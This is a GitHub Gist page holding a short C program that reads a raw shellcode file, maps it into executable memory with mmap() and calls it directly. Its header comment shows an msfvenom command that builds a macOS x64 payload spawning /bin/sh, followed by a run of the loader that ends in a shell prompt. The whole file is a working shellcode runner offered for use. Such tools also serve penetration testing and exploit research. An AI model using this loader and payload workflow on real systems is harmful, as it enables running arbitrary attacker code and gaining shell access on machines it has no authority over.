Created
July 1, 2023 18:28
-
-
Save libcrack/8ccc5e75e164c7959fa070ba9061e51b to your computer and use it in GitHub Desktop.
Execute shellcode from file using mmap()
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Exec shellcode from file | |
* gcc ./shellcode_mmap.c -o ./shellcode_mmap | |
* | |
* Sat Jul 1 20:21:12 CEST 2023 | |
* [email protected] | |
* | |
* 1. Create a payload: | |
* msfvenom -p osx/x64/exec CMD=/bin/sh -f raw -o osx-exec.raw | |
* | |
* 2. Execute it | |
* $ ./shellcode_mmap osx-exec.raw | |
* Reading payload from osx-exec.raw | |
* File size is 31 | |
* Length of shellcode: 31 | |
* sh-3.2$ | |
* | |
*/ | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/uio.h> | |
#include <unistd.h> | |
#include <errno.h> | |
int (*sc)(); | |
int main(int argc, char **argv) { | |
char *shellcode = NULL; | |
char *filepath = NULL; | |
void *ptr = NULL; | |
struct stat statbuf; | |
short int fd; | |
size_t offset; | |
size_t size; | |
ssize_t result; | |
if (argc != 2){ | |
printf("Usage: %s <payload file>\n", argv[0]); | |
exit(EXIT_FAILURE); | |
} | |
filepath = argv[1]; | |
printf("Reading payload from %s\n", filepath); | |
if ((fd = open(filepath, O_RDONLY)) < 0){ | |
perror("open() failed"); | |
exit(EXIT_FAILURE); | |
} | |
if (fstat (fd, &statbuf) < 0){ | |
perror("fstat() failed"); | |
close(fd); | |
exit(EXIT_FAILURE); | |
} | |
printf("File size is %lld\n", statbuf.st_size); | |
if ( (ptr = mmap(NULL, statbuf.st_size, PROT_WRITE | PROT_EXEC, | |
MAP_FILE | MAP_PRIVATE, fd, 0)) == MAP_FAILED ){ | |
perror("mmap() failed"); | |
close(fd); | |
exit(EXIT_FAILURE); | |
} | |
sc = ptr; | |
sc(); | |
if (munmap(ptr, statbuf.st_size) == -1){ | |
perror("munmao() failed"); | |
} | |
close(fd); | |
exit (EXIT_SUCCESS); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment